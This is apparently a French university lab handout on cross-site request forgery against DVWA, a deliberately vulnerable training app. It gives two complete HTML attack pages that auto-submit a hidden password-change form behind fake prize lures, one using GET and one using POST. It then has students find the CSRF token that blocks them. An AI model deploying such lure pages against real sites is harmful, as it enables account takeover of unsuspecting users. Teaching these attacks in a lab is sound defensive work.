Sécurité des applications web & mobile
TP3 - CSRF
Objectifs du TP
• Comprendre comment une attaque CSRF peut être orchestrée.
• Mettre en œuvre une attaque CSRF basique et avancée.
• Analyser les protections anti-CSRF proposées dans les applications modernes.
• Proposer des mécanismes de défense efficaces.
Pré-requis
Avant de commencer, assurez-vous que :
• DVWA est installé et fonctionnel sur votre machine locale ou votre machine virtuelle.
• Vous êtes connectés à DVWA avec les identifiants par défaut :
Nom d'utilisateur : admin
Mot de passe : password
• Le niveau de sécurité de DVWA est réglé sur Low :
Menu DVWA Security > Security Level > Low.
Contexte
Dans cette section de DVWA, la fonctionnalité ciblée est celle du changement de mot de
passe.
Aucune protection n'est mise en place contre les requêtes automatiques provenant de sites
externes.
Étapes du TP
Partie 1 : Première attaque CSRF simple (GET)
1.1 - Accéder à la fonctionnalité vulnérable
• Connectez-vous à DVWA.
• Dans le menu de gauche, cliquez sur Vulnerabilities > CSRF.
• Observez le formulaire de changement de mot de passe.
Remarque : Ici, la méthode utilisée est GET. Cela facilite considérablement une attaque
CSRF.
1.2 - Préparation d'une page malveillante
Créez un fichier nommé csrf_attack_get.html contenant :
</html>
1
Sécurité des applications web & mobile
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Surprise !</title>
</head>
<body>
<h1>Vous avez gagné un cadeau !</h1>
<form action="[Link] method="GET">
<input type="hidden" name="password_new" value="csrfpwned">
<input type="hidden" name="password_conf" value="csrfpwned">
<input type="submit" value="Cliquez ici pour réclamer votre prix">
</form>
<script>
[Link][0].submit();
</script>
</body>
</html>
1.3 - Lancer l'attaque
• Ouvrez un nouvel onglet dans votre navigateur.
• Chargez votre fichier csrf_attack_get.html localement.
• Si vous êtes toujours connecté à DVWA, votre mot de passe sera automatiquement
changé pour csrfpwned sans votre consentement explicite.
Partie 2 : Attaque CSRF en POST (avancée)
2.1 - Adapter votre attaque en POST
Créez un autre fichier appelé csrf_attack_post.html :
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Offre Exceptionnelle</title>
</head>
<body>
<h1>Gagnez un iPhone 15 !</h1>
<form action="[Link] method="POST">
<input type="hidden" name="password_new" value="pwnedbycsrf">
<input type="hidden" name="password_conf" value="pwnedbycsrf">
</form>
<script>
[Link][0].submit();
</script>
</body>
</html>
2
Sécurité des applications web & mobile
• Ouvrez ce fichier dans votre navigateur.
• Vérifiez si la modification du mot de passe est également effective.
Remarque : Selon la version de DVWA, le POST peut être ignoré si l'application n'écoute
qu’en GET (vous pouvez alors constater un échec ou un succès partiel).
Partie 3 : Passage au niveau de sécurité "Medium"
3.1 - Modifier la sécurité de DVWA
• Allez dans DVWA Security > Security Level > Medium.
• Sauvegardez.
3.2 - Analyser le nouveau comportement
• Essayez de rejouer votre attaque avec les deux fichiers précédents.
• Observez et notez ce qui change.
Partie 4 : Passage au niveau "High" et identification des protections
4.1 - Modifier la sécurité de DVWA
• Allez dans DVWA Security > Security Level > High.
• Sauvegardez.
4.2 - Tester votre attaque une dernière fois
• Rejouez vos attaques.
• Constatez que vos formulaires ne fonctionnent plus.
4.3 - Analyse du code source de DVWA
• Affichez le code source HTML de la page CSRF à ce niveau.
• Repérez l'ajout d’un champ supplémentaire (ex : un CSRF Token).
Notez :
• Le nom du champ ajouté
• Sa valeur (aléatoire)
• Comment il protège contre l’attaque
Travail demandé
Pour chaque partie :
1. Captures d'écran du résultat obtenu
2. Description du fonctionnement de l'attaque
3. Explication des échecs éventuels en mode Medium/High
4. Proposition d’amélioration côté serveur